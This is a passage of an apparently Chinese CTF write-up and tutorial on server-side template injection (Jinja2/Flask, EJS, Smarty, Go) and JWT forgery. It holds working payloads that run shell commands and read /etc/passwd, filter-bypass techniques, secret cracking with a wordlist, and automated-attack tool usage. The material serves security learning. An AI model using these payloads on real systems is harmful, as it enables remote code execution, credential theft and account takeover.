原理:
以 Jinja2 举例,Jinja2 在渲染的时候会把 {{}}
包裹的内容当做变量解析替换,所以当我们传入 {{表达式}}
时,表达式就会被渲染器执行。
一般我们先在可疑的地方尝试插入简单的模板表达式,比如 {{7*7}}
、 {{ config }}
,看看是否能在页面上显示预期结果,以此确定是否有注入点。
几个知识点:
- 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表
[]
、一个字符串""
或一个字典{}
时,你实际上是在创建不同类型的对象。 - 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
- 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似
__class__
的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。
可以把我们在 SSTI 做的事情抽象成下面的代码:
class O: pass # O 是基类,A、B、F、G 都直接或间接继承于它
# 继承关系 A -> B -> O
class B(O): pass
class A(B): pass
# F 类继承自 O,拥有读取文件的方法
class F(O): def read_file(self, file_name): pass
# G 类继承自 O,拥有执行系统命令的方法
class G(O): def exec(self, command): pass
比如我们现在就只拿到了对象 A,但我们想读取目录下面的 flag ,于是就有了下面的尝试:
找对象 A 的类 – 类 A -> 找类 A 的父亲 – 类 B -> 找祖先 / 基类 – 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G-> 构造利用方法-> 读写文件 / 执行命令
>>>print(A.__class__) # 使用 __class__ 查看类属性
<class '__main__.A'>
>>> print(A.__class__.__base__) # 使用 __base__ 查看直接父类/基类
<class '__main__.B'>
>>> print(A.__class__.__base__.__base__)# 查看父类的父类 (如果继承链足够长,就需要多个base)直到找到基类 <class 'object'>
<class '__main__.O'>
>>>print(A.__class__.__mro__) # 直接使用 __mro__ 查看类继承关系顺序
(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.O'>, <class 'object'>)
>>>print(A.__class__.__mro__[3].__subclasses__()) # 查看祖先下面所有的子类(这里假定祖先为 object)
[<class '__main__.0'>, <class '__main__.F'>, <class '__main__.G'>]
类似这种 拿基类( object 是所有类的基类 ,用 __base__ 或者 __bases__[] 或者 __mro__[] 拿基类获取到 <class ‘object’> 后,__subclasses__ 才能读到完整所有的子类) -> 找可以利用子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。
>>>''.__class__.__base__
<class 'object'>
>>>''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>,......]
通过拿基类 <class ‘object’> 后再 __subclasses__() 拿到所有子类后,如何找到可以利用的子类?
脚本:
a=''' 这里放入查出的子类 '''
a=a.split(',')
num=0
for i in a:
if '<class \'os._wrap_close\'>' in i: # ' ' 里放入要查找的子类,比如 os._wrap_close(记得转义单引号)
print("num:",num)
num+=1
print("end")
记住几个包含 eval 执行函数的类:
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
获取可以利用的子类后,__init__
初始化对象,__globals__
获取函数方法合集,并确定存在内建 eval
函数 ,但是不能通过 __init__.__globals__['eval']
直接利用 eval ,必须通过 __builtins__
方法。
__builtins__
方法:
__builtins__
是 Python 中的一个内置模块,包含了 Python 解释器的所有内置函数、异常、类型和其他对象。它在每个 Python 环境中都可用,是一个非常重要的命名空间,通过 __builtins__
,你可以访问 Python 的所有内置对象,比如 print()
、eval()
、open()
等。
比如:
#方法一
{{ __builtins__.eval('__import__("os").system("id")') }}
#方法二
{{ __builtins__['eval']('__import__("os").popen("env").read()') }}
在第一个方法中,使用了 __builtins__.eval
来直接访问 eval。
在第二个方法中,使用了 __builtins__['eval']
,这其实是通过字典的方式获取 eval
函数。虽然效果相同,但这种方式可能绕过一些模板引擎的限制(如果模板引擎对方法名进行了限制)。
以 jinja2 为例,因为 Jinja2 是 flask 的模板,所以在里面我们可以用到一些 flask 的变量和函数,例如 request, url_for。他们一般就有 __builtins__
,这样我们就不用费力找可以 getshell 的子类了。
{{url_for.__globals__["__builtins__"]["exec"]}}
{{request.__init__.__globals__["__builtins__"]["exec"]}}
url_for还可以拿到当前运行的 flask 实例,从而拿到 flask 运行时的一些设置:{{url_for.__globals__["current_app"]["secret_key"]}}
与文件或者命令有关的函数有
eval()
exec()
open()
内置属性+魔术方法
__class__ # 类的一个内置属性,表示实例对象的类
__base__ # 以字符串返回一个类所直接继承的第一个类,即类型对象的直接基类,一般情况下是object
__bases__ # 以元组的形式返回全部基类(直接父类)
__mro__ # 即方法解析顺序,返回的是一个类元组,搭配索引使用获取基类;例如:>>>().__class__.__mro__[1] 来获取 <class 'object'>
__subclasses__() # 返回这个类的子类列表
__init__ # 初始化类,返回的类型是 function
__globals__ # 以字典的形式返回 function 所处空间下可使用的 module、方法以及所有全局变量。
__dic__ #类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()
'''
实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
'''
__getitem__ # 提取元素,或者说调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__
'''
内建模块的引用,在任何地方都是可见的(包括全局),这个模块包括了很多强大的内置函数,如eval, exec, fopen等
'''
__import__ # 导入模块
__str__() #返回描写这个对象的字符串,可以理解成就是打印出来
url_for #flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages #和 url_for 一样
lipsum #flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app #应用上下文,一个全局变量
jinja2 过滤器:xxxxxx
常见的一些过滤:
过滤掉数字
利用 jinjia2过滤器 ”|length 或者 ord(”)
过滤了下划线 ‘_’
使用编码绕过
使用十六进制编码绕过,_
编码后为 \x5f
,.
编码后为 \x2E
可以写一个 python 脚本转换:
string1="__class__"
string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
def tohex(string):
result = ""
for i in range(len(string)):
result=result+"\\x"+hex(ord(string[i]))[2:]
print(result)
tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
print(string2) #__class__
request 绕过:
request 方法:
request #可以用于获取字符串来绕过。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
{{""[request.values.x1]}} # 参数传递(GET|POST都可)
{{""[request.args.x1]}}&x1=__class__ # GET方法传参
{{""[request.form.x1]}}
POST: x1=__class__ # POST方法传参,(Content-Type:application/x-www-form-urlencoded或multipart/form-data)
{{""[request.headers.x1]}}
x1: __class__ # headers 请求头
{{""[request.user_agent.string]}}
User-Agent: __class__ # User-Agent
{{""[request.cookies.x1]}}
Cookie: x1=__class__ # Cookie
[request.json] # post 传 json (Content-Type: application/json)
示例:
{{''[request.args.v1][request.args.v2][1][request.args.v3]()[165][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()
过滤了点 ‘.’
可以使用 [] 、attr() 、getattr() 来绕过。
{{().__class__.__base__}}
{{()["__class__"]["__base__"]}}
{{()|attr("__class__")|attr("__base__")}}
{{getattr('',"__class__")}}#依赖于 python 环境,不同环境可能会报错
其中 |attr() 为 jinja2 原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。
过滤了中括号 ‘[ ]’ 和点 ‘.’
在 python 里面可以用以下方法访问数组元素:
my_list = ["yema","love","forgiven"]
result = my_list[1]
#result = my_list.pop(1)
#result = my_list.__getitem__(1)
print(result);
getitem() 方法输出序列属性中某个索引处的元素,相当于 []
尝试:
#原 payload:
{{''.__class__.__base__.__subclasses__()[165].__init__.__globals__['popen']('ls /').read()}}
#利用过滤器 |attr() 和 python 函数 getattr()
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"),"popen")("ls /"),"read")()') }}
过滤了 {{ 和 }}
利用 Jinja2 的{% %}
标签配合打印语句
{% print ''.__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()') %}
#或者
{% print ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"), "popen")("ls /"),"read")()') %}
控制流标签配合打印来判断代码是否成功执行:
{% if ''.__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()') %}xxx{% endif %}
这种方式会在条件为真(true)时显示 xxx
,可以通过是否显示来判断执行结果。当表达式执行出错时(如语法错误、函数不存在等),模板引擎可能会抛出错误信息并显示在页面上,通过这种方式可获取执行结果或调试信息。
过滤了黑名单关键字
用字符串拼接绕过
['__cla'+'ss__'] == ['__cla''ss__']
转置
''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse 即 {{''["__ssalc__"|reverse]}}
str 内置方法
''.__class__ == ''['__cTass__'.replace("T","l")]
#字符串的替换,还可以使用过滤器 {{''["__claee__"|replace("ee","ss")]}}
''['__CLASS__'.lower()]
利用 join() 函数绕过
感觉很难利用上 xD
join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
//语法
str.join(sequence)
sequence — 要连接的元素序列,该函数会返回通过指定字符连接序列中元素后生成的新字符串。
比如,题目过滤了关键字 flag ,
{{''.__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
{{''['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[165]("fla".join("/g")).read()}}
实际是将字符串 ‘fla’ 作为拼接时的分隔符,可迭代对象 ‘/g’ 被拆分为两个字符:’/’ 和 ‘g’ ,用 ‘fla’ 作为分隔符拼接 ‘/’ 和 ‘g’ 两个字符,最终结果为:'/flag'
。
//标准写法
"fla".join(["/", "g"]) == /flag
利用编码绕过
Unicode 编码:
# 编码前
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
# 编码后
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
hex 编码绕过:
# 编码前
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
# 编码后
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
不能直接使用 ‘base64_str’.decode(‘base64’) 这样 base64 编码的方式绕过关键字过滤。在 Flask 框架中,.decode('base64')
这种写法在 Python 3 环境下已经不推荐使用,且存在兼容性问题,在 Python 3 环境中,字符串(str 类型)本身没有 decode() 方法,只有字节流(bytes 类型)才有。
绕过单双引号
利用 request 绕过
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__[request.args.a](request.args.b)}}&a=eval&b=__import__("os").popen("cat /flag").read()
练习
Web13-1 Hello, SSTI!
hint:最简单的 Flask SSTI!开始你的 SSTI 之旅吧!
本题的 flag 被分成两个部分。前半部分被设置为 Flask 的 secret_key,后半部分在服务器的 /flag
文件中。之后的题目除非特殊说明, flag 均在 /flag
文件中。
注入过程:
{{().__class__.__base__}}
//拿基类{{().__class__.__base__.__subclasses__()}}
//拿子类
使用 <class 'warnings.catch_warnings'>
定位到 165 ,
初始化对象,获取函数方法合集,并确定存在内建 eval
函数:
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__}}
由于 eval
在全局域中是一个 built-in function
即 内置函数 ,所以我们无法直接通过__globals__['eval']
来直接调用内置函数,Python 的内置函数和对象通常是全局可用的,但它们通常不是函数内部的一部分。因此,要在函数内部访问内置函数(如 eval
)或内置对象(如 os
),需要通过 __builtins__
来访问。
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}
拿到后半 flag: 17-91e2-c16b4dc83e79}
另一半 flag 位于 flask 的 secret_key 中,查看 flask 的配置文件的全局变量
{{ config }}
完整 flag{0bc3d19b-0fda-4117-91e2-c16b4dc83e79}
Web13-2 没有数字
hint: 我数学不好,所以不能有任何的数字,flag 在 /flag
文件中。
def check_blacklist(name):
blacklist = "0123456789"
for item in blacklist:
if item in name:
return True
return False
用 {{ config }}
测试有预期输出,说明是模板注入。
然后 check_blacklist() 规定模板表达式不能有任何的数字。
尝试:
{{ config }}
{{().__class__}}
{{().__class__.__base__}}
{{().__class__.__base__.__subclasses__}}
//查找 <class 'warnings.catch_warnings'> 的索引为165
利用能将非数字转换成数字的函数来生成数字,比如 len(“xxxxxxx”),ord(‘x’) :{{ ''.__class__.__base__.__subclasses__()[len('a')*len('b')] }}
因为 len(”)=0,len(‘a’)*len(‘b’)=1*1=1,避开直接使用数字
构造 ord(‘A’) * len(‘AA’) + (ord(‘a’) – (ord(‘B’) – len(‘AAAA’))) 即 65*2 + (97-(66-4)) = 65×2 + 35 = 165
{{().__class__.__base__.__subclasses__()[ord('A') * len('AA') + (ord('a') - (ord('B') - len('AAAA')))]}
html 报错:
写一个有同样功能的脚本,尝试访问 / 的时候,返回 {{ len(‘a’) }} 的模板解析结果
from flask import Flask, render_template_string
app = Flask(name)
@app.route("/")
def home():
return render_template_string("{{ len('a') }}")
return render_template_string("{{ ord('a') }}")
app.run()
报错:jinja2.exceptions.UndefinedError: 'len' is undefined
jinja2.exceptions.UndefinedError: 'ord' is undefined
Jinja2 有严格的沙箱机制,只允许使用其预定义的全局函数和过滤器(如 range
、length
等),不支持直接调用 Python 内置函数,而是通过过滤器实现类似功能。所以使用 python 内置的 ord() 和 len() 函数会报错。 len() 对应的 Jinja2 过滤器是 length,需用 |length
语法。
所以利用 |length
和乘法构造 165 的索引:
{{().__class__.__base__.__subclasses__()['aaaaaaaaaaa'|length*'aaaaaaaaaaaaaaa'|length]}}
也可以利用 <class 'os._wrap_close'>
这个类,索引为155
{{().__class__.__base__.__subclasses__()['aaaaaaaaaaa'|length*'aaaaaaaaaaaaaaa'|length].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()['aaaaaaaaaaa'|length*'aaaaaaaaaaaaaaa'|length].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}
Web13-3 没有下划线
hint: 这回被制裁的是 _
利用 hex 编码绕过 _
过滤
\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f //即__class__
\x5f\x5f\x62\x61\x73\x65\x5f\x5f //即 __base__
\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f //即__subclasses__
尝试:
但是对 ()
用 __class__.__base__.__subclasses__()
获取不了 object 基类,对引号可以
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']}}
可以获取到 object 基类
{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']}}
却不可以获取到 object 基类
获取到 object 基类后用 subclasses 获取全部的子类
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()}}
利用 <class ‘warnings.catch_warnings’> ,索引 165
payload:
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[165]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['eval']('\x5f\x5fimport\x5f\x5f("os").popen("cat /flag").read()')}}
即{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}
Web13-4 没有中括号和点
hint:这一题里你没有的是 [
, ]
和 .
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')
尝试:
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__builtins__')|attr('__getitem__')('eval')('__import__("os")|attr('popen')("ls /")|attr('read')()')}}
结果返回 500 界面,|attr() 过滤器只能在 jinja2 使用,在 python 内部无法使用,所以 eval 里面不能使用过滤器来绕过 ‘.’ ,
利用 Python 的 getattr()
函数来替代属性访问。
getattr(obj, "attribute")
替代了 obj.attribute
的点号访问方式
getattr(__import__("os"),"popen")
等价于 os.popen
,避免了使用点号
保持了外部的 |attr("read")()
过滤器链,因为这部分不在 eval
内部执行
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(__import__("os"),"popen")("ls /")|attr("read")()') }}
但是依旧返回 500 界面,最终 eval 内部所有操作都使用 getattr() 完成
payload:
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"), "popen")("ls /"),"read")()') }}
Web13-5 没有{{和}}
hint: 你好像很懂 ssti?现在我把 {{
和 }}
去掉了你还能 ssti 么?
当{{
和 }}
被过滤时,我们需要利用 Jinja2 模板引擎的其他语法特性来注入代码,比如利用 Jinja2 的{% %}
标签(无回显)配合 print
打印语句
payload:
{% print ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"), "popen")("ls /"),"read")()') %}
Web13-6 不批准的单词
hint: 听说这些单词不吉利,所以你的名字里也不能出现:
blacklist = ["flag", "class", "globals", "builtins", "import", "open", "system", "cat", "read"]
{{''['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[165].__init__['__glo'+'bals__']['__buil'+'tins__']['eval']}}
获取内置函数 eval,因为 eval 可以将字符串当成 Python 表达式执行,拿到这个函数之后,就可以用 eval 函数执行任意 Python 表达式了。
然后 eval("__import__('os').popen('tac /f*').read()")
是将字符串 __import__('os').popen('tac /f*').read()
当成 Python 表达式执行,也就是读取 /f* 文件的内容。因为这里要绕过过滤,所以将这个字符串进行打破拼接 “__imp”+”ort__(‘os’).po”+”pen(‘tac /f*’).re”+”ad()” (这里用加号连接两个双引号包裹的字符串)
注意单双引号,
eval("imp'+'ort");//eval 的字符串是 imp'+'ort
eval("imp"+"ort");//eval 的字符串时 import
payload:{{''['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[165].__init__['__glo'+'bals__']['__buil'+'tins__']['eval']('__imp'+'ort__("os").po''pen("tac /f*").re'+'ad()')}}
Web13-7 没有引号
不能有引号,也就是 '
和 "
。
request 绕过:
{{().__class__.__mro__.__getitem__(1)}}
{{().__class__.__mro__.__getitem__(1).__subclasses__()}}
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__[request.args.a](request.args.b)}}&a=eval&b=__import__("os").popen("cat /flag").read()
b =__import__("os").popen("cat /flag").read()
实际上是 flag{xxxxx}
eval() 是一个内置函数,用于执行存储在字符串中的 Python 表达式,并返回表达式的值。而 eval(“flag{xxxxx}”) 把 flag{xxxxx} 作为代码执行。
尝试:
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__[request.args.a](__import__(request.args.b).popen(request.args.c).read())}}&a=eval&b=os&c=cat /flag
会报错,因为 __import__(request.args.b).popen(request.args.c).read())
== flag{xxxxx} ,而 eval(flag{xxxxx}) 无法将 flag{} 当做表达式执行。
比如尝试
a=eval&b=__import__(request.args.c).popen("notepad").read()&c=os
表明 eval 内无法使用 request ,并且 request 模块是 flask 框架里的。
或者可以用常规 ssti 通杀工具 Fenjing 解题:
SSTI模板注入-中括号、args、单双引号被过滤绕过(ctfshow web入门365)_ssti过滤引号-CSDN博客
Web13-8 大杂烩500 pts
考验你 Flask SSTI 真正实力的时候到了!
blacklist = ["'", "\"", "request", "[", "]", "_", "{{", "}}", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "flag", "class"]
{%set gl=dict(GLOBALS=i)|first|lower%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set rq=la+la+la%}{%set hl=la+la%}{%set yz=la+la+la+la%}{%set yg=la+la+la+la+la%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set fz=bb+la+la+la%}{%set nt=e|slice(((hl)*(fz)+yg))|string|batch(((hl)*(fz)+yg))|first|last%}{%set eq=nt+nt+dict(EQ=i)|first|lower+nt+nt%}{%set ky=(lipsum()|urlencode|first)%}{%set fq=ky+dict(c=i)|join%}{%set qd=bb+la%}{%set jw=bb+la+la%}{%set ca=(fq*fz)%((lla)*(fz),((fz+la)*(fz)+qd),(((rq)*(fz)+hl))*(yz),(jw)*(yz),((yg)*(fz)+hl),(lla+bb)*(bb),(lla+la)*(fz),((fz+la)*(fz)+qd),((lla)*(fz)+yz))%}{%print ((OvO|attr(eq)|attr(nt+nt+gl+nt+nt)).sys.modules.os.popen(ca)).read()%}
参考文章:
细说Jinja2之SSTI&bypass_bypass ssti-CSDN博客
Python中的SSTI之Jinja2 – Jaren’s Blog
CTF Jinja SSTI常规题通杀工具
使用pip安装运行
pip install fenjing
python -m fenjing webui
使用
webui
启动网页 UI, 只需要 python3 -m fenjing webui
然后访问 http://127.0.0.1:11451 即可。
这里根据自己 python 版本来启动,前面 pip 安装也是,保持统一。
参考官方文档使用 webui,指定参数并自动攻击
在左边填入参数(如目标链接和请求方式等)并点击开始分析,然后在右边输入执行命令即可,如下方展示:
scan
在终端可以用 scan 功能,猜测某个页面的参数并自动攻击:
python -m fenjing scan --url 'http://xxxx:xxx/yyy'
crack
也可以用crack功能,手动指定参数进行攻击:
python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET
这里提供了 aaa 和 bbb 两个参数进行攻击,并使用 --detect-mode fast
加速攻击速度
crack-request
还可以将HTTP请求写进一个文本文件里(比如说 req.txt
)然后进行攻击
文本文件内容如下:
GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
命令如下:
python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000
crack-keywords
如果已经拿到了服务端源码 app.py
的话,可以自动提取代码中的列表作为黑名单生成对应的 payload
命令如下:
python -m fenjing crack-keywords -k app.py -c 'ls /'
Ejs 模板引擎注入
EJS 是一个 javascript 模板库,用来从 json 数据中生成 HTML 字符串,使用 <% %>
括起来的内容都会被编译成 Javascript,可以在模版文件中像写 js 一样 Coding 。
Web13-9 ejs的SSTI
什么,我用 ejs 的,这也有 ssti ?(ejs 是 nodejs 的一个模板引擎)
<%=123*321%>
测试是否有注入点,返回
说明存在 ejs 的ssti 漏洞。
文件读取
引入 fs ,可以对文件进行读取操作。比如读取 passwd 或者 flag 文件。
<%=global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString();%>
<%=global.process.mainModule.require('fs').readFileSync('/flag').toString();%>
文件写入
通过引入 fs ,可以对文件进行写入操作。例如写入 1.html 文件,然后登录服务器查看文件(可能存在权限不足的问题,比如当前用户为 nobody 等,没有在当前目录下创建或写入文件的权限)。
<%=global.process.mainModule.require('fs').appendFileSync('./1.html','test','binary')%>
命令执行
通过 child_process
,执行系统命令。
<%=global.process.mainModule.require('child_process').execSync('whoami').toString();%>
<%=global.process.mainModule.require('child_process').execSync('ls /').toString();%>
<%=global.process.mainModule.require('child_process').execSync('cat /flag').toString();%>
Smarty 的模板注入
Web13-10 Smarty的SSTI500 pts
hint: 什么,我用 Smarty 的,这也有 ssti ?(smarty 是 PHP 的一个模板引擎)
查看当前 Smarty 版本号{$smarty.version}
fetch 读取文件,比如:
{fetch file="/etc/passwd"}
{fetch file="/etc/profile"}
最终 payload: {fetch file="/flag"}
JWT 的模板注入
JWT 由头部 Header 、有效载荷 Payload 和签名 Signature 三部分组成:
头部(Header):指定令牌的类型 typ(JWT 令牌的头部统一写作“JWT”)和使用的签名算法 alg ,默认为 HMAC SHA256,写成 HS256。
{
"alg": "HS256",
"typ": "JWT"
}
有效载荷(Payload):用来存放需要传递的数据。包含用户的身份信息及其他数据,称为“声明(Claims)”。JWT 规定了7个官方字段,供选用;除了官方字段,也可以定义私有字段
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
签名(Signature):为了确保令牌没有被篡改,服务器会用一个密钥和 Header 里面指定的签名算法(比如 HS256)对头部和有效载荷进行加密生成签名。
三个部分的内容用 base64 编码后用 . 连接,被返回给用户。
Web13-11 Genshking
http 请求、 jwt 伪造、Go 语言的 ssti 。
随便注册登录一下,用户名为 user ,密码为 passwd 。
跳转到一个静态页面:
用 postman 抓包,先对 /register
注册一个用户名 username 为 user ,密码 password 为 passwd 的用户然后在 /login
页面登录看到当前用户信息:
当前用户名为 user ,余额50元,然后提示我们支付 admin 余额获取创世结晶。可以想到伪造成 admin 这样我们支付给自己余额不变就有无数的创世结晶。
尝试用户伪造看 Cookie ,发现 token 是 jwt 格式(一串用 . 分隔成三段的字符串,包括头部、载荷和签名)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjAxODI1NjksInVzZXJuYW1lIjoidXNlciJ9.Bl2szWxbVYN5C_lXLom_Lemv0444z5VYp3lidPTK0g8
随便找一个 JWT 在线解析网站
尝试伪造 token ,使 username 内容为 admin 。
利用工具 jwt_tool
GitHub – ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
使用方法:
先在 jwt_tool 这个文件夹运行 python3 -m venv . && . bin/activate
启动虚拟环境
ps: 虚拟环境就是一个隔离的 python 环境。python -m venv .
是在当前目录创建虚拟环境,
. bin/activate
是激活,创建只需要创建一次,之后就激活就行。
然后提示需要安装一些依赖:termcolor、cprint、pycryptodomex、requests、ratelimit
可以执行 python3 -m pip install xxxx
xxxx为所需装的依赖,一个一个安装好。
也可以执行 python3 -m pip install -r requirements.txt
一次性下载,当前目录下有个 requirements.txt 含有所需的全部依赖。
chmod +x jwt_tool.py
python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjAxODI1NjksInVzZXJuYW1lIjoidXNlciJ9.Bl2szWxbVYN5C_lXLom_Lemv0444z5VYp3lidPTK0g8" -C -d ../../rockyou.txt
获取得到密钥为 secret ,在 JWT 在线解析网站修改密钥为 secret 以及将 username 修改为 admin 即可伪造成功。
拿到:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjAxODI1NjksInVzZXJuYW1lIjoiYWRtaW4ifQ.1NKFnfVseUEQO1UiqCKHhmc2PWLE9wRJFOx1EM7EyjY
修改 token 内容和username
Post 发送请求后可以看到当前用户名变为 admin ,伪造成功。
向 /consume 以 POST 方式传入 amount = 30 :
获取到300创世结晶且因为我们是 admin 所以余额不变。尝试多注册几个用户,这样他人向 admin 支付我们 admin 账户余额就会增加,这样可以减少我们提交 amount 凑够64800创世结晶的次数。(注册了三个用户向我们 admin 支付了50,这样就有了200了,诶嘿₍˄·͈༝·͈˄*₎◞ ̑̑
按照前面流程修改 token 和 username 换回 admin 身份,继续对 /consume 提交 amount = 200,然后我们就有了64800创世结晶。
查看反馈界面 /feedback
尝试模版注入点:
{{2*2}}
和 <%=123*321%> 以及 {$smarty.version}
反馈失败或反馈内容回显不对,尝试 {{.}}
成功
ps: {{.}} 表示当前对象,如 user 对象
提示我们访问 /help/feedback/funcs
给了我们一个 ExecuteCode 函数,
"ExecuteCode": func(code string) string {
cmd := exec.Command("sh", "-c", code)
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("Error executing command: %v\n%s", err, string(output))
}
return string(output)
}
这个函数是一个 Go 语言函数,它的主要作用是执行一段 shell 命令并返回执行结果。使用 exec.Command("sh", "-c", code)
创建一个命令对象,通过 sh -c
